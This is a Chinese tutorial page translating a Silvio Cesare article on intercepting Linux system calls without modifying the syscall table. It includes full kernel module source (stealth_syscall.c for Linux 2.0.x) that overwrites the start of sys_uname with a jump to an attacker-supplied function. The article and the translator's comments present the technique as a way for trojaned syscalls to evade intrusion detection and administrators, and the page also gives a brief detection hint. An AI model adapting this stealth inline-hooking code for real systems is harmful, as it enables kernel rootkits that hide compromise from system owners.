当前位置:Linux教程 - Linux - 不用syscall table的方法来截获系统调用的方法的分析

不用syscall table的方法来截获系统调用的方法的分析

前言:

拿到quack给我的这个文章真是很巧,正在整理分析linux系统调用的实现源代码,所以先翻译一下这

篇文章,然后谈一些自己的想法,文章的实现代码是基于2.0.x内核的,这个code在2.2.x内核上也可以编

译,主要看实现的原理方法了。

以下是译文:
by Silvio Cesare <[email protected]>
译:大鹰 <[email protected]>

本文描述了一种可以不利用syscall table来截获系统调用的方法(在linux的实现),它可以被用来

利用截获系统调用表注册或者trojan系统调用来逃避入侵监测系统。它还是一个简单的发现攻击行为的方

法。最基本的前提是攻击时需要改变旧的系统调用来跳转到新的系统调用,因此控制权交给新的系统调用

并且syscall table并没有变化。但,如果只有仅仅这些的话,那么原来的系统调用就很糟糕了,并且执

行起来会非常危险,所以当系统调用创建的时候原来的code必须被保存下来。原来的code被跳转指针替代

并且系统调用看起来和平常一样正常运行。在这之后,跳转指针会再次放置等待下次使用。要发现这种攻

击手段必须非常小心仔细地比较原系统调用的头几个字节来判断系统调用是否被截获。

********************************************************************************************
译者注:我们以前的截获实现是通过给syscall table注册一个new的sys call来截获,现在,新的方

法是我们来修改旧的系统调用的code来实现截获,加一个跳转指针指向new的sys call,并不需要添加注册

到syscall table中,从而可以逃避管理员的监测。

********************************************************************************************

以下是2.0.x的测试代码,我加以注释帮助大家理解:

-- stealth_syscall.c (Linux 2.0.35)

#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/utsname.h>
#include <linux/string.h>
#include <asm/string.h>
#include <asm/unistd.h>

#define SYSCALL_NR __NR_uname

static char syscall_code[7];
static char new_syscall_code[7] =
"xbdx00x00x00x00" /* movl $0,%ebp */
"xffxe5" /* jmp *%ebp */ /*定义新的sys_code,其实就是一

个跳转指令*/
;

extern void *sys_call_table[];

void *_memcpy(void *dest, const void *src, int size)/*这个应该很熟悉了,在2.0.x内核中定义一

个数据传递函数*/
{
const char *p = src;
char *q = dest;
int i;

for (i = 0; i < size; i++) *q++ = *p++;

return dest;
}

/*
uname
*/

int new_syscall(struct new_utsname *buf) /*定义新的uname系统调用*/
{
printk(KERN_INFO "UNAME - Silvio Cesare ");
_memcpy(
sys_call_table[SYSCALL_NR], syscall_code,
sizeof(syscall_code)
);
((int (*)(struct new_utsname *))sys_call_table[SYSCALL_NR])(buf);/*正常运行系统调用

*/
_memcpy(
sys_call_table[SYSCALL_NR], new_syscall_code,/*等待再次使用*/
sizeof(syscall_code)
);
}

int init_module(void) /*加载*/
{
*(long *)&new_syscall_code[1] = (long)new_syscall; /*把新的syscall_code指向

new_syscall*/
_memcpy(
syscall_code, sys_call_table[SYSCALL_NR], /*保存原来的syscall_code*/
sizeof(syscall_code)
);
_memcpy(
sys_call_table[SYSCALL_NR], new_syscall_code, /*好,注入新的code!实现截获*/
sizeof(syscall_code)
);
return 0;
}

void cleanup_module(void) /*卸载*/
{
_memcpy(
sys_call_table[SYSCALL_NR], syscall_code, /*重新注入新的syscall_code*/
sizeof(syscall_code)
);
}